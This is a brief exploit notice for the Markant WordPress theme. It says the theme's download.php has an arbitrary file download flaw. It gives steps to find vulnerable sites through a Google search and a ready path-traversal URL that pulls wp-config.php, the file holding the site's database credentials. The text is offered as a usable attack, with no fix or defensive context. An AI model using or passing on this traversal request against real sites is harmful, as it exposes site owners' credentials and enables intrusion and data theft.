Wordpress free open source CMS with Markant theme there's an arbitrary file download which can download important files from the system and source scripts (ex wp-config.php) 1) dork in google 2) go to http://target/wp-content/themes/markant/download.php?file=//../../../wp-config.php